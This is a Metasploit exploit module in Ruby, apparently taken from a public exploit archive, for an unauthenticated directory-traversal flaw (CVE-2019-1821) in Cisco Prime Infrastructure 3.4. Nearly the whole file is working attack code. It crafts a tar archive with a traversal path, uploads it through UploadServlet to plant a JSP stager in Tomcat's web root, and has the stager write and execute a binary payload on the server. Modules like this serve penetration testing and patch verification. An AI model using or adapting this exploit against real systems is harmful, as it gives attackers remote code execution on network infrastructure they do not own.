Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability',  
'Description' => %q{  
This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that  
the TarArchive Java class the HA Health Monitor component uses does not check for any  
directory traversals while unpacking a Tar file, which can be abused by a remote user to  
leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps  
directory, and gain arbitrary remote code execution. Note that authentication is not  
required to exploit this vulnerability.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Steven Seeley', # Original discovery, PoC  
'sinn3r' # Metasploit module  
],  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
'Targets' =>  
[  
[ 'Cisco Prime Infrastructure 3.4.0.0', { } ]  
],  
'References' =>  
[  
['CVE', '2019-1821'],  
['URL', 'https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html'],  
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce'],  
['URL', 'https://srcincite.io/advisories/src-2019-0034/'],  
['URL', 'https://srcincite.io/pocs/src-2019-0034.py.txt']  
],  
'DefaultOptions' =>  
{  
'RPORT' => 8082,  
'SSL' => true,  
  
},  
'Notes' =>  
{  
'SideEffects' => [ IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'Privileged' => false,  
'DisclosureDate' => 'May 15 2019',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('WEBPORT', [true, 'Cisco Prime Infrastructure web interface', 443]),  
OptString.new('TARGETURI', [true, 'The route for Cisco Prime Infrastructure web interface', '/'])  
])  
end  
  
class CPITarArchive  
attr_reader :data  
attr_reader :jsp_name  
attr_reader :tar_name  
attr_reader :stager  
attr_reader :length  
  
def initialize(name, stager)  
@jsp_name = "#{name}.jsp"  
@tar_name = "#{name}.tar"  
@stager = stager  
@data = make  
@length = data.length  
end  
  
def make  
data = ''  
path = "../../opt/CSCOlumos/tomcat/webapps/ROOT/#{jsp_name}"  
tar = StringIO.new  
Rex::Tar::Writer.new(tar) do |t|  
t.add_file(path, 0644) do |f|  
f.write(stager)  
end  
end  
tar.seek(0)  
data = tar.read  
tar.close  
data  
end  
end  
  
def check  
res = send_request_cgi({  
'rport' => datastore['WEBPORT'],  
'SSL' => true,  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp')  
})  
  
unless res  
vprint_error('No response from the server')  
return CheckCode::Unknown  
end  
  
if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime'  
return CheckCode::Detected  
end  
  
CheckCode::Safe  
end  
  
def get_jsp_stager(out_file, bin_data)  
# For some reason, some of the bytes tend to get lost at the end.  
# Not really sure why, but some extra bytes are added to ensure the integrity  
# of the code. This file will get deleted during cleanup anyway.  
%Q|<%@ page import="java.io.*" %>  
<%  
String data = "#{Rex::Text.to_hex(bin_data, '')}";  
FileOutputStream outputstream = new FileOutputStream("#{out_file}");  
int numbytes = data.length();  
byte[] bytes = new byte[numbytes/2];  
for (int counter = 0; counter < numbytes; counter += 2)  
{  
char char1 = (char) data.charAt(counter);  
char char2 = (char) data.charAt(counter + 1);  
int comb = Character.digit(char1, 16) & 0xff;  
comb <<= 4;  
comb += Character.digit(char2, 16) & 0xff;  
bytes[counter/2] = (byte)comb;  
}  
outputstream.write(bytes);  
outputstream.close();  
try {  
Runtime.getRuntime().exec("chmod +x #{out_file}");  
Runtime.getRuntime().exec("#{out_file}");  
} catch (IOException exp) {}  
%>#{Rex::Text.rand_text_alpha(30)}|  
end  
  
def make_tar  
elf_name = "/tmp/#{Rex::Text.rand_text_alpha(10)}.bin"  
register_file_for_cleanup(elf_name)  
elf = generate_payload_exe(code: payload.encoded)  
jsp_stager = get_jsp_stager(elf_name, elf)  
tar_name = Rex::Text.rand_text_alpha(10)  
register_file_for_cleanup("apache-tomcat-8.5.16/webapps/ROOT/#{tar_name}.jsp")  
CPITarArchive.new(tar_name, jsp_stager)  
end  
  
def execute_payload(tar)  
# Once executed, we are at:  
# /opt/CSCOlumos  
send_request_cgi({  
'rport' => datastore['WEBPORT'],  
'SSL' => true,  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, tar.jsp_name)  
})  
end  
  
def upload_tar(tar)  
post_data = Rex::MIME::Message.new  
post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"")  
  
# The file gets uploaded to this path on the server:  
# /opt/CSCOlumos/apache-tomcat-8.5.16/webapps/ROOT/tar_name.jsp  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'),  
'data' => post_data.to_s,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'headers' =>  
{  
'Destination-Dir' => 'tftpRoot',  
'Compressed-Archive' => 'false',  
'Primary-IP' => '127.0.0.1',  
'Filecount' => '1',  
'Filename' => tar.tar_name,  
'FileSize' => tar.length  
}  
})  
  
(res && res.code == 200)  
end  
  
def exploit  
tar = make_tar  
print_status("Uploading tar file (#{tar.length} bytes)")  
if upload_tar(tar)  
print_status('Executing JSP stager...')  
execute_payload(tar)  
else  
print_status("Failed to upload #{tar.tar_name}")  
end  
end  
end